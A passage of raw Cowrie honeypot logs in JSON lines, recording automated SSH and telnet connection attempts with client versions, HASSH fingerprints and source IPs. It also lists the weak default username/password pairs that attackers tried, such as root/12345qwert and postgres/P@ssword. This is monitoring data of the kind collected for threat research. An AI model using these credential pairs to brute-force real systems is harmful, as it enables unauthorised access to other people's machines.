essage":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:10.872437Z","src_ip":"202.184.144.220","session":"ed0102a1c1f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssword","message":"login attempt [postgres/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:11.874426Z","src_ip":"202.184.144.220","session":"ed0102a1c1f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.698538064956665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:12.150072Z","src_ip":"161.97.124.15","session":"8734c7f8a59c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:13.120275Z","src_ip":"202.184.144.220","session":"ed0102a1c1f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53942,"dst_ip":"10.17.0.5","dst_port":22,"session":"214c045d68e3","protocol":"ssh","message":"New connection: 176.65.139.103:53942 (10.17.0.5:22) [session: 214c045d68e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:13.890267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:13.895739Z","src_ip":"176.65.139.103","session":"214c045d68e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:13.978395Z","src_ip":"176.65.139.103","session":"214c045d68e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:14.295594Z","src_ip":"176.65.139.103","session":"214c045d68e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.705840349197388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:15.079687Z","src_ip":"161.97.124.15","session":"a6cd361926f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:15.403309Z","src_ip":"176.65.139.103","session":"214c045d68e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53960,"dst_ip":"10.17.0.5","dst_port":22,"session":"13e2ebba015d","protocol":"ssh","message":"New connection: 176.65.139.103:53960 (10.17.0.5:22) [session: 13e2ebba015d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:20.468038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:20.475241Z","src_ip":"176.65.139.103","session":"13e2ebba015d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:20.554985Z","src_ip":"176.65.139.103","session":"13e2ebba015d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:20.891849Z","src_ip":"176.65.139.103","session":"13e2ebba015d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.35567545890808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:21.059218Z","src_ip":"161.97.124.15","session":"67afcb6e5076","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:22.002373Z","src_ip":"176.65.139.103","session":"13e2ebba015d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.820839643478394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:22.182152Z","src_ip":"161.97.124.15","session":"84df2a4d40cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":43998,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca828209b766","protocol":"telnet","message":"New connection: 161.97.124.15:43998 (159.203.135.109:23) [session: ca828209b766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:26.151603Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60948,"dst_ip":"10.17.0.5","dst_port":22,"session":"44f475276582","protocol":"ssh","message":"New connection: 176.65.139.103:60948 (10.17.0.5:22) [session: 44f475276582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:26.846081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:26.853528Z","src_ip":"176.65.139.103","session":"44f475276582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:26.938168Z","src_ip":"176.65.139.103","session":"44f475276582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:27.466271Z","src_ip":"176.65.139.103","session":"44f475276582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:28.551814Z","src_ip":"176.65.139.103","session":"44f475276582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52658,"dst_ip":"10.17.0.5","dst_port":22,"session":"b79ce495a747","protocol":"ssh","message":"New connection: 176.65.139.103:52658 (10.17.0.5:22) [session: b79ce495a747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:33.561054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:33.565106Z","src_ip":"176.65.139.103","session":"b79ce495a747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:33.647285Z","src_ip":"176.65.139.103","session":"b79ce495a747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:33.896091Z","src_ip":"176.65.139.103","session":"b79ce495a747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:34.993251Z","src_ip":"176.65.139.103","session":"b79ce495a747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":51272,"dst_ip":"10.17.0.5","dst_port":22,"session":"29c1fd995209","protocol":"ssh","message":"New connection: 52.231.220.210:51272 (10.17.0.5:22) [session: 29c1fd995209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:37.413103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:37.417776Z","src_ip":"52.231.220.210","session":"29c1fd995209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:37.607523Z","src_ip":"52.231.220.210","session":"29c1fd995209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"totototo","message":"login attempt [root/totototo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:38.396571Z","src_ip":"52.231.220.210","session":"29c1fd995209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:39.588998Z","src_ip":"52.231.220.210","session":"29c1fd995209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52674,"dst_ip":"10.17.0.5","dst_port":22,"session":"77e906d005e3","protocol":"ssh","message":"New connection: 176.65.139.103:52674 (10.17.0.5:22) [session: 77e906d005e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:39.775041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:39.780021Z","src_ip":"176.65.139.103","session":"77e906d005e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:39.862504Z","src_ip":"176.65.139.103","session":"77e906d005e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:40.116632Z","src_ip":"176.65.139.103","session":"77e906d005e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":40924,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b1ff8a0139f","protocol":"telnet","message":"New connection: 161.97.124.15:40924 (159.203.135.109:23) [session: 2b1ff8a0139f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:40.752969Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:41.209447Z","src_ip":"176.65.139.103","session":"77e906d005e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53840,"dst_ip":"10.17.0.5","dst_port":22,"session":"e63b4baa9e07","protocol":"ssh","message":"New connection: 176.65.139.103:53840 (10.17.0.5:22) [session: e63b4baa9e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:46.334228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:46.352421Z","src_ip":"176.65.139.103","session":"e63b4baa9e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:46.419768Z","src_ip":"176.65.139.103","session":"e63b4baa9e07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:46.778168Z","src_ip":"176.65.139.103","session":"e63b4baa9e07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:47.869565Z","src_ip":"176.65.139.103","session":"e63b4baa9e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":45160,"dst_ip":"159.203.135.109","dst_port":23,"session":"be324355e73b","protocol":"telnet","message":"New connection: 161.97.124.15:45160 (159.203.135.109:23) [session: be324355e73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:49.762831Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34176,"dst_ip":"159.203.135.109","dst_port":22,"session":"24c09f536f78","protocol":"ssh","message":"New connection: 159.203.92.129:34176 (159.203.135.109:22) [session: 24c09f536f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:51.307853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:00:51.312380Z","src_ip":"159.203.92.129","session":"24c09f536f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cer